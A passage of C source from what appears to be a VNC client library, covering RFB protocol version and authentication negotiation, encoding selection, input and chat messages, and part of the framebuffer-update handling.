message */ if (!rfbHandleAuthResult(client)) break; result = TRUE; break; } if (cred) FreeUserCredential(cred); if (mod) free(mod); if (genmpi) gcry_mpi_release(genmpi); if (modmpi) gcry_mpi_release(modmpi); if (respmpi) gcry_mpi_release(respmpi); if (privmpi) gcry_mpi_release(privmpi); if (pubmpi) gcry_mpi_release(pubmpi); if (keympi) gcry_mpi_release(keympi); if (md5) gcry_md_close(md5); if (aes) gcry_cipher_close(aes); return result; } #endif /* * SetClientAuthSchemes. */ void SetClientAuthSchemes(rfbClient* client,const uint32_t *authSchemes, int size) { int i; if (client->clientAuthSchemes) { free(client->clientAuthSchemes); client->clientAuthSchemes = NULL; } if (authSchemes) { if (size<0) { /* If size<0 we assume the passed-in list is also 0-terminate, so we * calculate the size here */ for (size=0;authSchemes[size];size++) ; } client->clientAuthSchemes = (uint32_t*)malloc(sizeof(uint32_t)*(size+1)); for (i=0;i<size;i++) client->clientAuthSchemes[i] = authSchemes[i]; client->clientAuthSchemes[size] = 0; } } /* * InitialiseRFBConnection. */ rfbBool InitialiseRFBConnection(rfbClient* client) { rfbProtocolVersionMsg pv; int major,minor; uint32_t authScheme; uint32_t subAuthScheme; rfbClientInitMsg ci; /* if the connection is immediately closed, don't report anything, so that pmw's monitor can make test connections */ if (client->listenSpecified) errorMessageOnReadFailure = FALSE; if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; pv[sz_rfbProtocolVersionMsg]=0; errorMessageOnReadFailure = TRUE; pv[sz_rfbProtocolVersionMsg] = 0; if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2) { rfbClientLog("Not a valid VNC server (%s)\n",pv); return FALSE; } DefaultSupportedMessages(client); client->major = major; client->minor = minor; /* fall back to viewer supported version */ if ((major==rfbProtocolMajorVersion) && (minor>rfbProtocolMinorVersion)) client->minor = rfbProtocolMinorVersion; /* UltraVNC uses minor codes 4 and 6 for the server */ if (major==3 && (minor==4 || minor==6)) { rfbClientLog("UltraVNC server detected, enabling UltraVNC specific messages\n",pv); DefaultSupportedMessagesUltraVNC(client); } /* UltraVNC Single Click uses minor codes 14 and 16 for the server */ if (major==3 && (minor==14 || minor==16)) { minor = minor - 10; client->minor = minor; rfbClientLog("UltraVNC Single Click server detected, enabling UltraVNC specific messages\n",pv); DefaultSupportedMessagesUltraVNC(client); } /* TightVNC uses minor codes 5 for the server */ if (major==3 && minor==5) { rfbClientLog("TightVNC server detected, enabling TightVNC specific messages\n",pv); DefaultSupportedMessagesTightVNC(client); } /* we do not support > RFB3.8 */ if ((major==3 && minor>8) || major>3) { client->major=3; client->minor=8; } rfbClientLog("VNC server supports protocol version %d.%d (viewer %d.%d)\n", major, minor, rfbProtocolMajorVersion, rfbProtocolMinorVersion); sprintf(pv,rfbProtocolVersionFormat,client->major,client->minor); if (!WriteToRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; /* 3.7 and onwards sends a # of security types first */ if (client->major==3 && client->minor > 6) { if (!ReadSupportedSecurityType(client, &authScheme, FALSE)) return FALSE; } else { if (!ReadFromRFBServer(client, (char *)&authScheme, 4)) return FALSE; authScheme = rfbClientSwap32IfLE(authScheme); } rfbClientLog("Selected Security Scheme %d\n", authScheme); client->authScheme = authScheme; switch (authScheme) { case rfbConnFailed: ReadReason(client); return FALSE; case rfbNoAuth: rfbClientLog("No authentication needed\n"); /* 3.8 and upwards sends a Security Result for rfbNoAuth */ if ((client->major==3 && client->minor > 7) || client->major>3) if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVncAuth: if (!HandleVncAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ case rfbMSLogon: if (!HandleMSLogonAuth(client)) return FALSE; break; case rfbARD: #ifndef LIBVNCSERVER_WITH_CLIENT_GCRYPT rfbClientLog("GCrypt support was not compiled in\n"); return FALSE; #else if (!HandleARDAuth(client)) return FALSE; #endif break; case rfbTLS: if (!HandleAnonTLSAuth(client)) return FALSE; /* After the TLS session is established, sub auth types are expected. * Note that all following reading/writing are through the TLS session from here. */ if (!ReadSupportedSecurityType(client, &subAuthScheme, TRUE)) return FALSE; client->subAuthScheme = subAuthScheme; switch (subAuthScheme) { case rfbConnFailed: ReadReason(client); return FALSE; case rfbNoAuth: rfbClientLog("No sub authentication needed\n"); /* 3.8 and upwards sends a Security Result for rfbNoAuth */ if ((client->major==3 && client->minor > 7) || client->major>3) if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVncAuth: if (!HandleVncAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ default: rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", (int)subAuthScheme); return FALSE; } break; case rfbVeNCrypt: if (!HandleVeNCryptAuth(client)) return FALSE; switch (client->subAuthScheme) { case rfbVeNCryptTLSNone: case rfbVeNCryptX509None: rfbClientLog("No sub authentication needed\n"); if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVeNCryptTLSVNC: case rfbVeNCryptX509VNC: if (!HandleVncAuth(client)) return FALSE; break; case rfbVeNCryptTLSPlain: case rfbVeNCryptX509Plain: if (!HandlePlainAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbVeNCryptX509SASL: case rfbVeNCryptTLSSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ default: rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", client->subAuthScheme); return FALSE; } break; default: { rfbBool authHandled=FALSE; rfbClientProtocolExtension* e; for (e = rfbClientExtensions; e; e = e->next) { uint32_t const* secType; if (!e->handleAuthentication) continue; for (secType = e->securityTypes; secType && *secType; secType++) { if (authScheme==*secType) { if (!e->handleAuthentication(client, authScheme)) return FALSE; if (!rfbHandleAuthResult(client)) return FALSE; authHandled=TRUE; } } } if (authHandled) break; } rfbClientLog("Unknown authentication scheme from VNC server: %d\n", (int)authScheme); return FALSE; } ci.shared = (client->appData.shareDesktop ? 1 : 0); if (!WriteToRFBServer(client, (char *)&ci, sz_rfbClientInitMsg)) return FALSE; if (!ReadFromRFBServer(client, (char *)&client->si, sz_rfbServerInitMsg)) return FALSE; client->si.framebufferWidth = rfbClientSwap16IfLE(client->si.framebufferWidth); client->si.framebufferHeight = rfbClientSwap16IfLE(client->si.framebufferHeight); client->si.format.redMax = rfbClientSwap16IfLE(client->si.format.redMax); client->si.format.greenMax = rfbClientSwap16IfLE(client->si.format.greenMax); client->si.format.blueMax = rfbClientSwap16IfLE(client->si.format.blueMax); client->si.nameLength = rfbClientSwap32IfLE(client->si.nameLength); /* To guard against integer wrap-around, si.nameLength is cast to 64 bit */ client->desktopName = malloc((uint64_t)client->si.nameLength + 1); if (!client->desktopName) { rfbClientLog("Error allocating memory for desktop name, %lu bytes\n", (unsigned long)client->si.nameLength); return FALSE; } if (!ReadFromRFBServer(client, client->desktopName, client->si.nameLength)) return FALSE; client->desktopName[client->si.nameLength] = 0; rfbClientLog("Desktop name \"%s\"\n",client->desktopName); rfbClientLog("Connected to VNC server, using protocol version %d.%d\n", client->major, client->minor); rfbClientLog("VNC server default format:\n"); PrintPixelFormat(&client->si.format); return TRUE; } /* * SetFormatAndEncodings. */ rfbBool SetFormatAndEncodings(rfbClient* client) { rfbSetPixelFormatMsg spf; char buf[sz_rfbSetEncodingsMsg + MAX_ENCODINGS * 4]; rfbSetEncodingsMsg *se = (rfbSetEncodingsMsg *)buf; uint32_t *encs = (uint32_t *)(&buf[sz_rfbSetEncodingsMsg]); int len = 0; rfbBool requestCompressLevel = FALSE; rfbBool requestQualityLevel = FALSE; rfbBool requestLastRectEncoding = FALSE; rfbClientProtocolExtension* e; if (!SupportsClient2Server(client, rfbSetPixelFormat)) return TRUE; spf.type = rfbSetPixelFormat; spf.pad1 = 0; spf.pad2 = 0; spf.format = client->format; spf.format.redMax = rfbClientSwap16IfLE(spf.format.redMax); spf.format.greenMax = rfbClientSwap16IfLE(spf.format.greenMax); spf.format.blueMax = rfbClientSwap16IfLE(spf.format.blueMax); if (!WriteToRFBServer(client, (char *)&spf, sz_rfbSetPixelFormatMsg)) return FALSE; if (!SupportsClient2Server(client, rfbSetEncodings)) return TRUE; se->type = rfbSetEncodings; se->pad = 0; se->nEncodings = 0; if (client->appData.encodingsString) { const char *encStr = client->appData.encodingsString; int encStrLen; do { const char *nextEncStr = strchr(encStr, ' '); if (nextEncStr) { encStrLen = nextEncStr - encStr; nextEncStr++; } else { encStrLen = strlen(encStr); } if (strncasecmp(encStr,"raw",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); } else if (strncasecmp(encStr,"copyrect",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG } else if (strncasecmp(encStr,"tight",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); requestLastRectEncoding = TRUE; if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; if (client->appData.enableJPEG) requestQualityLevel = TRUE; #endif #endif } else if (strncasecmp(encStr,"hextile",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); #ifdef LIBVNCSERVER_HAVE_LIBZ } else if (strncasecmp(encStr,"zlib",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; } else if (strncasecmp(encStr,"zlibhex",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlibHex); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; } else if (strncasecmp(encStr,"trle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTRLE); } else if (strncasecmp(encStr,"zrle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); } else if (strncasecmp(encStr,"zywrle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); requestQualityLevel = TRUE; #endif } else if ((strncasecmp(encStr,"ultra",encStrLen) == 0) || (strncasecmp(encStr,"ultrazip",encStrLen) == 0)) { /* There are 2 encodings used in 'ultra' */ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); } else if (strncasecmp(encStr,"corre",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); } else if (strncasecmp(encStr,"rre",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); } else { rfbClientLog("Unknown encoding '%.*s'\n",encStrLen,encStr); } encStr = nextEncStr; } while (encStr && se->nEncodings < MAX_ENCODINGS); if (se->nEncodings < MAX_ENCODINGS && requestCompressLevel) { encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + rfbEncodingCompressLevel0); } if (se->nEncodings < MAX_ENCODINGS && requestQualityLevel) { if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) client->appData.qualityLevel = 5; encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + rfbEncodingQualityLevel0); } } else { if (SameMachine(client->sock)) { /* TODO: if (!tunnelSpecified) { */ rfbClientLog("Same machine: preferring raw encoding\n"); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); /* } else { rfbClientLog("Tunneling active: preferring tight encoding\n"); } */ } encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); requestLastRectEncoding = TRUE; #endif #endif encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); #ifdef LIBVNCSERVER_HAVE_LIBZ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); #endif encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) { encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + rfbEncodingCompressLevel0); } else /* if (!tunnelSpecified) */ { /* If -tunnel option was provided, we assume that server machine is not in the local network so we use default compression level for tight encoding instead of fast compression. Thus we are requesting level 1 compression only if tunneling is not used. */ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCompressLevel1); } if (client->appData.enableJPEG) { if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) client->appData.qualityLevel = 5; encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + rfbEncodingQualityLevel0); } } /* Remote Cursor Support (local to viewer) */ if (client->appData.useRemoteCursor) { if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXCursor); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRichCursor); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingPointerPos); } /* Keyboard State Encodings */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingKeyboardLedState); /* New Frame Buffer Size */ if (se->nEncodings < MAX_ENCODINGS && client->canHandleNewFBSize) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingNewFBSize); /* Last Rect */ if (se->nEncodings < MAX_ENCODINGS && requestLastRectEncoding) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingLastRect); /* Server Capabilities */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedMessages); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedEncodings); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingServerIdentity); /* xvp */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXvp); /* client extensions */ for(e = rfbClientExtensions; e; e = e->next) if(e->encodings) { int* enc; for(enc = e->encodings; *enc; enc++) if(se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(*enc); } len = sz_rfbSetEncodingsMsg + se->nEncodings * 4; se->nEncodings = rfbClientSwap16IfLE(se->nEncodings); if (!WriteToRFBServer(client, buf, len)) return FALSE; return TRUE; } /* * SendIncrementalFramebufferUpdateRequest. */ rfbBool SendIncrementalFramebufferUpdateRequest(rfbClient* client) { return SendFramebufferUpdateRequest(client, client->updateRect.x, client->updateRect.y, client->updateRect.w, client->updateRect.h, TRUE); } /* * SendFramebufferUpdateRequest. */ rfbBool SendFramebufferUpdateRequest(rfbClient* client, int x, int y, int w, int h, rfbBool incremental) { rfbFramebufferUpdateRequestMsg fur; if (!SupportsClient2Server(client, rfbFramebufferUpdateRequest)) return TRUE; fur.type = rfbFramebufferUpdateRequest; fur.incremental = incremental ? 1 : 0; fur.x = rfbClientSwap16IfLE(x); fur.y = rfbClientSwap16IfLE(y); fur.w = rfbClientSwap16IfLE(w); fur.h = rfbClientSwap16IfLE(h); if (!WriteToRFBServer(client, (char *)&fur, sz_rfbFramebufferUpdateRequestMsg)) return FALSE; return TRUE; } /* * SendScaleSetting. */ rfbBool SendScaleSetting(rfbClient* client,int scaleSetting) { rfbSetScaleMsg ssm; ssm.scale = scaleSetting; ssm.pad = 0; /* favor UltraVNC SetScale if both are supported */ if (SupportsClient2Server(client, rfbSetScale)) { ssm.type = rfbSetScale; if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) return FALSE; } if (SupportsClient2Server(client, rfbPalmVNCSetScaleFactor)) { ssm.type = rfbPalmVNCSetScaleFactor; if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) return FALSE; } return TRUE; } /* * TextChatFunctions (UltraVNC) * Extremely bandwidth friendly method of communicating with a user * (Think HelpDesk type applications) */ rfbBool TextChatSend(rfbClient* client, char *text) { rfbTextChatMsg chat; int count = strlen(text); if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = (uint32_t)count; chat.length = rfbClientSwap32IfLE(chat.length); if (!WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg)) return FALSE; if (count>0) { if (!WriteToRFBServer(client, text, count)) return FALSE; } return TRUE; } rfbBool TextChatOpen(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatOpen); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } rfbBool TextChatClose(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatClose); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } rfbBool TextChatFinish(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatFinished); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } /* * UltraVNC Server Input Disable * Apparently, the remote client can *prevent* the local user from interacting with the display * I would think this is extremely helpful when used in a HelpDesk situation */ rfbBool PermitServerInput(rfbClient* client, int enabled) { rfbSetServerInputMsg msg; if (!SupportsClient2Server(client, rfbSetServerInput)) return TRUE; /* enabled==1, then server input from local keyboard is disabled */ msg.type = rfbSetServerInput; msg.status = (enabled ? 1 : 0); msg.pad = 0; return (WriteToRFBServer(client, (char *)&msg, sz_rfbSetServerInputMsg) ? TRUE : FALSE); } /* * send xvp client message * A client supporting the xvp extension sends this to request that the server initiate * a clean shutdown, clean reboot or abrupt reset of the system whose framebuffer the * client is displaying. * * only version 1 is defined in the protocol specs * * possible values for code are: * rfbXvp_Shutdown * rfbXvp_Reboot * rfbXvp_Reset */ rfbBool SendXvpMsg(rfbClient* client, uint8_t version, uint8_t code) { rfbXvpMsg xvp; if (!SupportsClient2Server(client, rfbXvp)) return TRUE; xvp.type = rfbXvp; xvp.pad = 0; xvp.version = version; xvp.code = code; if (!WriteToRFBServer(client, (char *)&xvp, sz_rfbXvpMsg)) return FALSE; return TRUE; } /* * SendPointerEvent. */ rfbBool SendPointerEvent(rfbClient* client,int x, int y, int buttonMask) { rfbPointerEventMsg pe; if (!SupportsClient2Server(client, rfbPointerEvent)) return TRUE; pe.type = rfbPointerEvent; pe.buttonMask = buttonMask; if (x < 0) x = 0; if (y < 0) y = 0; pe.x = rfbClientSwap16IfLE(x); pe.y = rfbClientSwap16IfLE(y); return WriteToRFBServer(client, (char *)&pe, sz_rfbPointerEventMsg); } /* * SendKeyEvent. */ rfbBool SendKeyEvent(rfbClient* client, uint32_t key, rfbBool down) { rfbKeyEventMsg ke; if (!SupportsClient2Server(client, rfbKeyEvent)) return TRUE; memset(&ke, 0, sizeof(ke)); ke.type = rfbKeyEvent; ke.down = down ? 1 : 0; ke.key = rfbClientSwap32IfLE(key); return WriteToRFBServer(client, (char *)&ke, sz_rfbKeyEventMsg); } /* * SendClientCutText. */ rfbBool SendClientCutText(rfbClient* client, char *str, int len) { rfbClientCutTextMsg cct; if (!SupportsClient2Server(client, rfbClientCutText)) return TRUE; memset(&cct, 0, sizeof(cct)); cct.type = rfbClientCutText; cct.length = rfbClientSwap32IfLE(len); return (WriteToRFBServer(client, (char *)&cct, sz_rfbClientCutTextMsg) && WriteToRFBServer(client, str, len)); } /* * HandleRFBServerMessage. */ rfbBool HandleRFBServerMessage(rfbClient* client) { rfbServerToClientMsg msg; if (client->serverPort==-1) client->vncRec->readTimestamp = TRUE; if (!ReadFromRFBServer(client, (char *)&msg, 1)) return FALSE; switch (msg.type) { case rfbSetColourMapEntries: { /* TODO: int i; uint16_t rgb[3]; XColor xc; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbSetColourMapEntriesMsg - 1)) return FALSE; msg.scme.firstColour = rfbClientSwap16IfLE(msg.scme.firstColour); msg.scme.nColours = rfbClientSwap16IfLE(msg.scme.nColours); for (i = 0; i < msg.scme.nColours; i++) { if (!ReadFromRFBServer(client, (char *)rgb, 6)) return FALSE; xc.pixel = msg.scme.firstColour + i; xc.red = rfbClientSwap16IfLE(rgb[0]); xc.green = rfbClientSwap16IfLE(rgb[1]); xc.blue = rfbClientSwap16IfLE(rgb[2]); xc.flags = DoRed|DoGreen|DoBlue; XStoreColor(dpy, cmap, &xc); } */ break; } case rfbFramebufferUpdate: { rfbFramebufferUpdateRectHeader rect; int linesToRead; int bytesPerLine; int i; if (!ReadFromRFBServer(client, ((char *)&msg.fu) + 1, sz_rfbFramebufferUpdateMsg - 1)) return FALSE; msg.fu.nRects = rfbClientSwap16IfLE(msg.fu.nRects); for (i = 0; i < msg.fu.nRects; i++) { if (!ReadFromRFBServer(client, (char *)&rect, sz_rfbFramebufferUpdateRectHeader)) return FALSE; rect.encoding = rfbClientSwap32IfLE(rect.encoding); if (rect.encoding == rfbEncodingLastRect) break; rect.r.x = rfbClientSwap16IfLE(rect.r.x); rect.r.y = rfbClientSwap16IfLE(rect.r.y); rect.r.w = rfbClientSwap16IfLE(rect.r.w); rect.r.h = rfbClientSwap16IfLE(rect.r.h); if (rect.encoding == rfbEncodingXCursor || rect.encoding == rfbEncodingRichCursor) { if (!HandleCursorShape(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h, rect.encoding)) { return FALSE; } continue; } if (rect.encoding == rfbEncodingPointerPos) { if (!client->HandleCursorPos(client,rect.r.x, rect.r.y)) { return FALSE; } continue; } if (rect.encoding == rfbEncodingKeyboardLedState) { /* OK! We have received a keyboard state message!!! */ client->KeyboardLedStateEnabled = 1; if (client->HandleKeyboardLedState!=NULL) client->HandleKeyboardLedState(client, rect.r.x, 0); /* stash it for the future */ client->CurrentKeyboardLedState = rect.r.x; continue; } if (rect.encoding == rfbEncodingNewFBSize) { client->width = rect.r.w; client->height = rect.r.h; client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, rect.r.w, rect.r.h, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", rect.r.w, rect.r.h); continue; } /* rect.r.w=byte count */ if (rect.encoding == rfbEncodingSupportedMessages) { int loop; if (!ReadFromRFBServer(client, (char *)&client->supportedMessages, sz_rfbSupportedMessages)) return FALSE; /* msgs is two sets of bit flags of supported messages client2server[] and server2client[] */ /* currently ignored by this library */ rfbClientLog("client2server supported messages (bit flags)\n"); for (loop=0;loop<32;loop+=8) rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, client->supportedMessages.client2server[loop], client->supportedMessages.client2server[loop+1], client->supportedMessages.client2server[loop+2], client->supportedMessages.client2server[loop+3], client->supportedMessages.client2server[loop+4], client->supportedMessages.client2server[loop+5], client->supportedMessages.client2server[loop+6], client->supportedMessages.client2server[loop+7]); rfbClientLog("server2client supported messages (bit flags)\n"); for (loop=0;loop<32;loop+=8) rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, client->supportedMessages.server2client[loop], client->supportedMessages.server2client[loop+1], client->supportedMessages.server2client[loop+2], client->supportedMessages.server2client[loop+3], client->supportedMessages.server2client[loop+4], client->supportedMessages.server2client[loop+5], client->supportedMessages.server2client[loop+6], client->supportedMessages.server2client[loop+7]); continue; } /* rect.r.w=byte count, rect.r.h=# of encodings */ if (rect.encoding == rfbEncodingSupportedEncodings) { char *buffer; buffer = malloc(rect.r.w); if (!ReadFromRFBServer(client, buffer, rect.r.w)) { free(buffer); return FALSE; } /* buffer now contains rect.r.h # of uint32_t encodings that the server supports */ /* currently ignored by this library */ free(buffer); continue; } /* rect.r.w=byte count */ if (rect.encoding == rfbEncodingServerIdentity) { char *buffer; buffer = malloc(rect.r.w+1); if (!ReadFromRFBServer(client, buffer, rect.r.w)) { free(buffer); return FALSE; } buffer[rect.r.w]=0; /* null terminate, just in case */ rfbClientLog("Connected to Server \"%s\"\n", buffer); free(buffer); continue; } /* rfbEncodingUltraZip is a collection of subrects. x = # of subrects, and h is always 0 */ if (rect.encoding != rfbEncodingUltraZip) { if ((rect.r.x + rect.r.w > client->width) || (rect.r.y + rect.r.h > client->height)) { rfbClientLog("Rect too large: %dx%d at (%d, %d)\n", rect.r.w, rect.r.h, rect.r.x, rect.r.y); return FALSE; } /* UltraVNC with scaling, will send rectangles with a zero W or H * if ((rect.encoding != rfbEncodingTight) && (rect.r.h * rect.r.w == 0)) { rfbClientLog("Zero size rect - ignoring (encoding=%d (0x%08x) %dx, %dy, %dw, %dh)\n", rect.encoding, rect.encoding, rect.r.x, rect.r.y, rect.r.w, rect.r.h); continue; } */ /* If RichCursor encoding is used, we should prevent collisions between framebuffer updates and cursor drawing operations. */ client->SoftCursorLockArea(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); } switch (rect.encoding) { case rfbEncodingRaw: { int y=rect.r.y, h=rect.r.h; bytesPerLine = rect.r.w * client->format.bitsPerPixel / 8; /* RealVNC 4.x-5.x on OSX can induce bytesPerLine==0, usually during GPU accel. */ /* Regardless of cause, do not divide by zero. */ linesToRead = bytesPerLine ? (RFB_BUFFER_SIZE / bytesPerLine) : 0; while (linesToRead && h > 0) { if (linesToRead > h) linesToRead = h; if (!ReadFromRFBServer(client, client->buffer,bytesPerLine * linesToRead)) return FALSE; client->GotBitmap(client, (uint8_t *)client->buffer, rect.r.x, y, rect.r.w,linesToRead); h -= linesToRead; y += linesToRead; } break; } case rfbEncodingCopyRect: { rfbCopyRect cr; if (!ReadFromRFBServer(client, (char *)&cr, sz_rfbCopyRect)) return FALSE; cr.srcX = rfbClientSwap16IfLE(cr.srcX); cr.srcY = rfbClientSwap16IfLE(cr.srcY); /* If RichCursor encoding is used, we should extend our "cursor lock area" (previously set to destination rectangle) to the source rectangle as well. */ client->SoftCursorLockArea(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h); client->GotCopyRect(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h, rect.r.x, rect.r.y); break; } case rfbEncodingRRE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingCoRRE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleCoRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleCoRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleCoRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingHextile: { switch (client->format.bitsPerPixel) { case 8: if (!HandleHextile8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleHextile16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleHextile32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingUltra: { switch (client->format.bitsPerPixel) { case 8: if (!HandleUltra8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleUltra16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleUltra32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingUltraZip: { switch (client->format.bitsPerPixel) { case 8: if (!HandleUltraZip8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleUltraZip16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleUltraZip32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingTRLE: { switch (client->format.bitsPerPixel) 